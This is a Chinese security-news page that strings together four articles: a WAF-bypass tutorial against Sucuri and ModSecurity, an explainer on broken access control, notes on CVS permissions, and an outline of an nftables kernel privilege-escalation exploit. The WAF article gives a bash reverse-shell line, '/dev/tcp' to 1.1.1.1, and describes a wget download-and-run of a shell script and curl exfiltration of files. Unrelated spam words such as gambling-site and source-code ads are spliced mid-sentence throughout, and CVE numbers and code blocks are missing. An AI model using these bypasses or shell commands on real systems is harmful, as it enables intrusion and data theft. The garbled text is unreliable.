1.WAF绕过技术系列文章(二)
2.Web漏洞之越权漏洞
3.CVS权限管理
4.Nftables CVE-2023-0179提权利用
WAF绕过技术系列文章(二)
在前面的源码文章中,我们学习了如何通过通配符绕过WAF规则,分析特别是源码使用问号通配符。但是分析,绕过WAF的源码方法远不止于此。对于不同的分析尤里源码攻击,WAF规则绕过方法各不相同。源码例如,分析在SQL注入中,源码你可以利用注释语法来绕过WAF,分析而不仅仅是源码简单的加号。
当目标网站的分析WAF防御级别较低时,星号和连字符能帮你成功绕过WAF。源码但这只适用于SQL注入,分析不能用于本地文件包含和远程命令执行。源码对于某些特殊场景,WAF很难真正防御住针对目标网站的远程命令执行,因为这种攻击使用了字符串连接符。
如果你想实际操作这些绕过方法,可以在我创造的FluxCapacitor手动练习,这是一个在hackthebox上的漏洞演示虚拟机。
在许多编程语言中,字符串连接通常通过二进制符号实现。例如,加号,"Hello, " + "World"得到值为"Hello, World"。在其他编程语言中,连接符可能是不同符号,特别是涉及到隐式的类型转换,并不会使用加号等符号。例如在Perl和PHP中连接符为.,在Lua等语言中,连接符为..
但是你可别认为这是连接两个字符串的唯一方式。
当你在Bash使用C,C++,Python等编程语言时,你可以利用一种基于Bash的字符串连接特性,即:两个相邻的字符串即使中间没有任何符号,它们也可被当作连接在一起,"Hello," "World"等同于"Hello, World"。这个特性不仅适用于printf和echo等命令,亡灵杀手unity源码还可适用于整体Bash语法。让我们从简单的例子开始。
下面的所有命令运行结果相同:
从上我们可以清楚了解到Bash中的字符串连接特性。实际上,'te's't'是由三个字符串组成:字符串te、字符串s和字符串t。这种语法可以有效地绕过基于“字符串匹配”的WAF规则。
ModSecurity中的防御规则SecRule ARGS "@pm passwd shadow groups"…将拦截所有包含字符串passwd或字符串shadow的请求。但是,如果我们把它们转换成pa'ss'wd或sh'ad'ow呢?就像我上面所提到的那样。而且,你不仅可以使用连接字符串来代替文件参数,还可以用来代替执行路径!
下面的所有命令运行结果也相同:
现在,我们已经发现一个远程命令执行的绕过WAF方法。如果你面临的WAF存在基于敏感字符串的拦截,你就可以用它绕过WAF规则:
下面我会用PHP代码做些测试,像往常一样,目标WAF是sucuri WAF和ModSecurity。如下是我们的网页代码,当然,它显得太过简单,功能主要是利用curl和system()形成一个命令执行场景。虽然它看起来很不靠谱,但奇怪的是,你可以在多个实际应用场景发现这种愚蠢的代码。
我想我在发布这些文章后,Sucuri会立马把我拉黑。但是,我发誓:我使用Sucuri waf与ModSecurity进行比较,不是因为我要说明哪个更好。因为Sucuri被广泛使用,如果有用户阅读了本文,就可以在他们的自己的Web应用上更好地进行安全测试。
首先,我尝试发出请求获取 google.com,而使用最原始地请求:
如预期的一样,返回了 google.com的优惠劵平台源码页面,基于地理位置,让我跳转到 www.google.de:
现在,为了做坏事,我使用分号破坏curl语法,尝试执行其他系统命令。但是当我试图读取/etc/passwd文件时,Sucuri就会拦截请求,请求如下:
被Sucuri拦截的原因如下:“检测到一个RFI/LFI攻击”。我认为(只是一个假设)Sucuri的这个拦截使用了类似于我们上面所提及的“字符串匹配”技术,它可能会拦截所有常见的路径和文件名,如/etc/passwd。当我把这个WAF的拦截力度调到最低时,我就可以利用两个单引号来绕过!
我知道你现在在想什么:“就算你可以读取passwd文件又怎样……你可以绕过Sucuri WAF得到一个shell吗?”这个问题的答案当然是,YES!唯一的问题就是我们不能使用netcat,因为它还没有安装。
返回一个shell的最简单方法是使用bash -i命令:bash -i >& /dev/tcp/1.1.1.1/ 0>&1,但不幸的是,它太复杂了,很难彻底绕过WAF,这同时也意味着很难使用一些php、perl或python代码来获得shell。Sucuri WAF频繁拦截了我的请求,原因是:检测到模糊攻击。
接下来,我尝试使用curl或wget命令将python的反弹shell脚本上传上去,以获得shell。shell.py代码如下:
然后,我们在本机使用python -c SimpleHTTPServer或php -s等搭建Web服务,方便目标服务器从中下载python文件,下载shell.py文件用以下语法:
好的,Sucuri Waf没有拦截这个请求,但是ModSecurity通常会拦截这类请求,为了要绕过这类WAF规则,可以使用wget+ip转换+字符串连接来达成:
第一个命令使用wget下载shell文件到/tmp/。第二个命令使用chmod修改其可执行权限,第三个命令是博彩站源码下载执行它。如您所见,wget命令发出的请求中没有指明文件名,因此被下载的文件被命名为index.html。你可以使用netcat 命令nc手动写入HTTP的响应头和内容主体来决定文件内容,如下所示:
接下来,我们要绕过更难的WAF
你可能认为我们可以用上面的技术绕过OWASP核心规则集的低级规。但是,这是不可能的。因为有两个小东西叫做normalizePath和cmdLine。在ModSecurity中,它们被称为“转换函数”,用于将用户输入的原始数据先转换,然后再匹配。如果WAF认为数据无害,才会发送原始数据到Web服务器。
normalizePath:它会删除字符串中的多个斜杠、目录的自引用和目录的上级引用(除了最开始的输入)。
cmdLine:由Marc Stern开发,会将所有的输入规范化,例如/e't'c/pa'ss'wd会被转换规范为/etc/passwd。总之它可以做很多事:
因为cmdLine,WAF规则就可以拦截所有利用字符串连接来进行远程命令执行的尝试,拦截信息如下:
现在我不能读取/etc/passwd,但不要绝望!OWASP核心规则集会拦截常用的文件路径和命令,但它不能对目标应用的源代码执行拦截。我虽然不能使用分号(这意味着我不能跳出curl语法),但我可以使用curl来提取文件并将其发送到远程服务器。以上方法可绕过0到3级别的防御。
主要方法是利用POST的HTTP请求将文件发送到远程服务器,命令如下:
在此基础上,我们把@编码为%:
如果防御等级为4,以上这些都不起作用,因为payload中的连字符、正斜杠等字符会引起拦截。但好消息是,防御级别4在生产环境中很少见。
上面所述的爱精品源码社区绕过技术同样也可以应用于反斜杠字符。反斜杠不是用来串联字符串,而是用来转义:
以上就是全部内容。谢谢!
来源: WAF绕过技术系列文章(二)|NOSEC安全讯息平台 - NOSEC.ORG
白帽汇从事信息安全,专注于安全大数据、企业威胁情报。
公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。
为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。
Web漏洞之越权漏洞
越权访问,亦称Broken Access Control,是Web应用中常见的安全漏洞之一。它位居OWASP列出的Web应用十大安全隐患的第二位,影响范围广且危害大。这种漏洞的出现,往往在于应用在检查用户授权时存在疏漏,使攻击者得以利用低权限账户,绕过权限检查,非法访问或操作其他用户的数据或更高权限资源。越权漏洞属于业务性漏洞,其难点在于这类问题并不源于代码本身,而是由于对数据增删改查时对客户端请求数据的过度信任,导致权限判断的缺失。越权访问主要分为水平越权、垂直越权和未授权访问三种类型。
水平越权指的是同一权限级别组内的用户,能够访问、修改或删除其他组成员的数据。形成的原因通常是服务器端在处理客户端请求时,未对数据的所属权进行有效判断,导致权限访问不当。例如,杨卓和田超作为同级别角色,拥有各自的隐私数据。若系统仅验证用户是否具有访问数据的角色权限,而未对具体数据权限进行设定,就会导致杨卓能够查看田超的数据,这就是水平越权现象。
垂直越权则指的是用户能够访问或控制不同权限层级的资源。由于系统在权限控制上存在缺陷,仅仅在菜单或按钮上做了权限控制,恶意用户只需猜测其他管理页面的URL或敏感参数信息,即可访问或控制其他角色用户的数据和页面。也就是说,普通用户能够执行通常只有超级用户才能执行的操作。
未授权访问指的是在系统中攻击者虽然没有账号,但通过特定手段获取了某些功能权限。此类漏洞的测试方法相对简单,通过登录需要权限的功能模块,若能正常访问即表明存在该漏洞。具体操作可能包括修改请求包中的数据,如将包中的status字段从false改为true,观察系统反馈。
案例分析方面,以修改密码为例,通过修改cross_auth_passwd文件中的代码,发现存在越权修改密码的漏洞。通过测试,发现更改密码的用户使用ID进行标识,而系统在更改密码时并未验证旧密码。经过分析和尝试,发现通过修改ID并发送修改请求,可以绕过权限限制,成功修改他人密码。另外,越权查看内容和水平越权的案例也通过具体的步骤和源码分析,揭示了权限控制的漏洞。
为了修复这些漏洞,建议遵循权限配置的最小化原则,即“最小权限原则”,对所有主体默认拒绝所有权限,仅对有需要的主体单独配置权限。对于水平越权,可以通过创建访问控制规则库,并将其写入配置文件,通过规则对数据访问进行控制。对于垂直越权,考虑采用“用户组”的方式,管理不同权限级别的用户访问权限。
总之,越权访问是Web应用安全中需重点关注的漏洞类型,通过深入理解其形成原因和案例分析,可以有效识别和修复这些安全问题。同时,遵循网络安全法律法规,仅用于技术分享和学习,避免非法用途。
CVS权限管理
CVS的权限管理主要有两种策略。第一种是基于系统文件权限的系统用户管理,适用于多个在Linux上使用系统帐号的开发人员进行开发。通过将/home/cvsroot目录的所有权设置为apache.apache,然后赋予该目录的权限,可以实现Linux上通过ssh连接CVS服务器的多个开发人员的文件共享读写。只要开发人员属于apache组,他们就能读写任何他们导入的项目文件,因为导入的项目文件默认拥有权限,这表示文件对组的权限为读写。 第二种策略是基于CVSROOT/passwd的虚拟用户管理,适用于多个在Windows平台上的开发人员将帐号映射成系统帐号使用。在passwd文件中,通过映射虚拟用户到apache用户,可以实现文件的共享读写。通过CVSROOT/passwd和readers writers等文件管理用户的访问权限,并通过cvstrac设置所有虚拟用户都映射到apache用户上。 使用这两种策略,结合apache/apache用户,可以方便地在Linux和Windows平台上实现CVS版本控制系统的权限管理。这使得开发人员能够高效地进行代码的共享、管理和版本控制,无论他们使用的是哪种操作系统。 通过CVS WinCVS、CVSWeb和CVSTrac这三种工具的结合使用,可以构建一个相对完善的跨平台工作组开发版本控制环境。这不仅简化了权限管理,还提高了开发效率和协作能力,使得开发团队能够在不同的操作系统环境中协同工作,确保代码版本的统一和安全。扩展资料
CVS是一个C/S系统,多个开发人员通过一个中心版本控制系统来记录文件版本,从而达到保证文件同步的目的。CVS版本控制系统是一种GNU软件包,主要用于在多人开发环境下的源码的维护。Nftables CVE--提权利用
在分析了CVE---Nftables整型溢出漏洞的成因之后,本文接下来将深入探讨如何利用这一漏洞。首先,了解到payload_eval_copy_vlan函数中存在整型溢出问题,这使得我们可以将vlan头部结构拷贝至寄存器(NFT_REG_-NFT_REG_)中,而该变量位于栈上,因此可以覆盖到栈上的其他变量。
然而,观察源码后发现regs变量无法直接覆盖到返回地址。进一步分析后发现,jumpstack变量位于regs变量下方,因此可以利用整型溢出覆盖到jumpstack变量。接下来,我们关注nft_jumpstack结构体,该结构体在nft_do_chain函数中起作用,当状态寄存器被设置为JUMP条件时,程序将跳转至其他chain进行处理。保存完当前chain状态后,程序将跳转至目的chain,即存储在regs.verdict.chain中。
还原chain的过程涉及通过递减stackptr来取出存储在jumpstack变量中的chain、rule、lastrule,然后进行rule的解析。需要注意的是,在遍历rule时,循环条件为rule < lastrule。因此,在伪造lastrule时,需要确保其值大于rule,否则无法进入循环内部。
接着,观察nft_rule_dp结构体,发现其中包含用于存储nft_expr结构体指针的八个字节。通过篡改该指针,可以劫持程序流程。为了解决这一问题,作者从ctfiot.com/.html中学习了一个技巧:使用ptype /o struct xxx显示结构体信息与偏移。
构建流程如下:通过漏洞溢出至nft_jumpstack结构体,并修改rule变量指向可控内容的地址。同时,将lastrule值篡改为大于rule的值。接下来,在可控内容中伪造一个nft_rule_dp结构体,篡改第一个八个字节(填充位)和第二个八个字节(函数表指针)的值,使其分别指向可控内容的地址。之后,在该地址处伪造nft_expr,将ops变量指向所需执行的函数。
分析后得知,通过上述手段可以实现程序流程的劫持。接下来,需要考虑如何伪造上述结构体。在nft_payload_copy_vlan函数中,漏洞点在于将vlan头数据复制到寄存器中,由于vlan头地址低于寄存器地址,导致在复制完vlan头后会覆盖寄存器值。这里,我们可以通过控制NFT_REG_的值来实现对jumpstack结构体的篡改。
由于可以控制regs变量,首先泄露regs地址,然后在此基础上伪造rule并重新指向jumpstack。这里采用将last_rule设置为函数地址的技巧,以节省八个字节的空间。然而,仅控制八个字节的函数指针不足以构造完整的ROP链,因此需要使用栈迁移。栈迁移的目标是控制一段内存,选择regs作为目标。
在寻找合适的栈迁移gadget时,作者使用了vmlinux-to-elf工具提取符号表,然后利用ropper工具搜索gadget。但尝试后发现大部分gadget不可用。作者最后尝试使用objdump工具提取gadget,并通过搜索add rsp.*等指令找到栈迁移的gadget。进一步计算栈顶与regs函数地址的差值,找到相应的栈迁移gadget。
在提权方面,作者通过覆盖modprobe_path实现提权。选择合适的gadget将rdi设置为modprobe_path,rax设置为覆盖后的路径。然而,在返回到nf_hook_slow函数时,由于设置了rax值导致状态码无法正确设置,程序跳转至NF_DROP分支,导致内核异常。最终,作者在rbp中找到了一个do_softirq函数,并尝试将其作为返回地址。运行后发现程序能够正常返回到用户态。
最后,验证新用户是否已写入至/etc/passwd文件中,完成提权过程。完整exploit代码可参考github.com/h0pe-ay/Vuln.../poc.c。相关资料参考链接包括github.com/TurtleARM/CV...